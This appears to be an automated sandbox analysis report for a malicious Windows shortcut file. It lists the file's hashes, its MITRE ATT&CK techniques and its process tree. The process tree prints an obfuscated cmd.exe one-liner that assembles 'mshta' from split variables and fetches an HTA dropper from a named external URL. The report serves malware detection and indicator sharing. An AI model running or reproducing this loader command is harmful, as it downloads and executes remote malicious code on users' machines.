997799d64bf89c024182e513ae54682b6b2a699e584d9cbc89971f39a74c14ad

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:32

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General

Target
DOC-2BIAPI.lnk
Size 1KB
Sample260803-qs85bsac64
SHA256 997799d64bf89c024182e513ae54682b6b2a699e584d9cbc89971f39a74c14ad
MD5 de4f78f00b66ccc2d69a144b179c002e
SHA1 e388eef4084038053df137f34a036fa0801dab4f
SHA512 763af597d9b1302057a3a580762c9664501f45ff49e396e704ed585fd1f118d6c313e5288347941d3659e0e4c33585ebeeb123c5e7c0511fd3e6eef4084081b7
TLSH
T1933147503FFD0654F3B78EB398BB5B1085BBB9568E20C61D0141464C1432A15E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4144	cmd.exe
5472	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 5472	4144	cmd.exe	91
PID 5472 wrote to memory of 2376	5472	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-2BIAPI.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4144
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set euP=msh&&set lpV=ta&&start "" !euP!!lpV! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5472
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2376

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads